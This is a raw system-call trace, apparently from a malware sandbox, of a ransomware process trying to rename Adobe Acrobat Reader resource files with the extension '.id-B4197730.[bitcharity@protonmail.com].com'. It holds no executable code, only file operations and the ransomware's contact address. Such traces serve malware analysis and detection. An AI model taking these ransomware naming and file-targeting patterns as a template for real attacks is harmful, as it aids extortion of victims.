[0282.338] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.338] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\images\\rhp_world_icon_hover_2x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\editpdf\\images\\rhp_world_icon_hover_2x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.338] CloseHandle (hObject=0x126c) returned 1 [0282.342] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.342] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.342] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\images\\themes\\dark\\example_icons.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\editpdf\\images\\themes\\dark\\example_icons.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.342] CloseHandle (hObject=0x126c) returned 1 [0282.343] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.343] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.343] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\images\\themes\\dark\\example_icons2x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\editpdf\\images\\themes\\dark\\example_icons2x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.344] CloseHandle (hObject=0x126c) returned 1 [0283.401] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0283.401] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0283.401] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\images\\themes\\dark\\rhp_world_icon.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\editpdf\\images\\themes\\dark\\rhp_world_icon.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.401] CloseHandle (hObject=0x115c) returned 1 [0284.226] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0284.226] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0284.226] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\exportpdfupsell-app\\css\\main-selector.css.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\exportpdfupsell-app\\css\\main-selector.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.227] CloseHandle (hObject=0x11c0) returned 1 [0284.730] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0284.730] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0284.730] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_FilledDot_White@1x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\a12_filleddot_white@1x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.730] CloseHandle (hObject=0x1160) returned 1 [0285.017] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.018] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.018] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\home\\images\\icons.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\home\\images\\icons.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.018] CloseHandle (hObject=0x11c8) returned 1 [0285.024] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.024] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.024] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files\\css\\main-selector.css.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-files\\css\\main-selector.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.024] CloseHandle (hObject=0x11c8) returned 1 [0285.025] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.025] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.025] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files\\css\\main.css.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-files\\css\\main.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.025] CloseHandle (hObject=0x11c8) returned 1 [0285.027] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.027] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.027] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files\\images\\bg_patterns_header.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-files\\images\\bg_patterns_header.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.027] CloseHandle (hObject=0x11c8) returned 1 [0285.028] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.028] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.028] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files\\images\\bg_pattern_RHP.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-files\\images\\bg_pattern_rhp.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.028] CloseHandle (hObject=0x11c8) returned 1 [0285.028] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.028] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.028] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files\\images\\icons.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-files\\images\\icons.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.029] CloseHandle (hObject=0x11c8) returned 1 [0285.031] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.031] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.031] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files\\images\\icons_ie8.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-files\\images\\icons_ie8.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.032] CloseHandle (hObject=0x11c8) returned 1 [0285.032] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.032] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.032] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files\\images\\icons_retina.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-files\\images\\icons_retina.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.032] CloseHandle (hObject=0x11c8) returned 1 [0285.033] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.033] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.033] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files\\images\\illustrations.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-files\\images\\illustrations.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.034] CloseHandle (hObject=0x11c8) returned 1 [0285.034] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.034] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.034] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files\\images\\illustrations_retina.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-files\\images\\illustrations_retina.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.034] CloseHandle (hObject=0x11c8) returned 1 [0285.035] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.035] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.035] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files\\images\\new_icons.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-files\\images\\new_icons.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.035] CloseHandle (hObject=0x11c8) returned 1 [0285.036] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.036] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.036] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files\\images\\new_icons_retina.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-files\\images\\new_icons_retina.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.036] CloseHandle (hObject=0x11c8) returned 1 [0285.039] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.039] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.039] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files\\images\\themes\\dark\\bg_patterns_header.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-files\\images\\themes\\dark\\bg_patterns_header.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.039] CloseHandle (hObject=0x11c8) returned 1 [0285.040] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.040] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.040] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files\\images\\themes\\dark\\bg_pattern_RHP.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-files\\images\\themes\\dark\\bg_pattern_rhp.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.040] CloseHandle (hObject=0x11c8) returned 1 [0285.041] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.041] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.041] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files\\images\\themes\\dark\\icons.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-files\\images\\themes\\dark\\icons.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.041] CloseHandle (hObject=0x11c8) returned 1 [0285.041] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.042] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.042] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files\\images\\themes\\dark\\icons_ie8.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-files\\images\\themes\\dark\\icons_ie8.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.042] CloseHandle (hObject=0x11c8) returned 1 [0285.042] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.042] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.042] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files\\images\\themes\\dark\\icons_retina.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-files\\images\\themes\\dark\\icons_retina.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.042] CloseHandle (hObject=0x11c8) returned 1 [0285.043] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.043] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.043] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files\\images\\themes\\dark\\illustrations.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-files\\images\\themes\\dark\\illustrations.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.043] CloseHandle (hObject=0x11c8) returned 1 [0285.044] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.044] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.044] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files\\images\\themes\\dark\\illustrations_retina.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-files\\images\\themes\\dark\\illustrations_retina.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.044] CloseHandle (hObject=0x11c8) returned 1 [0285.045] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.045] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.045] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files\\images\\themes\\dark\\new_icons.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-files\\images\\themes\\dark\\new_icons.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.045] CloseHandle (hObject=0x11c8) returned 1 [0285.045] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.046] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.046] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files\\images\\themes\\dark\\new_icons_retina.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-files\\images\\themes\\dark\\new_icons_retina.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.046] CloseHandle (hObject=0x11c8) returned 1 [0285.559] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.559] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.559] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\images\\themes\\dark\\scan_poster.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\ob-preview\\images\\themes\\dark\\scan_poster.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.577] CloseHandle (hObject=0x1088) returned 1 [0285.577] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7065f8 | out: hHeap=0x630000) returned 1 [0285.577] HeapFree 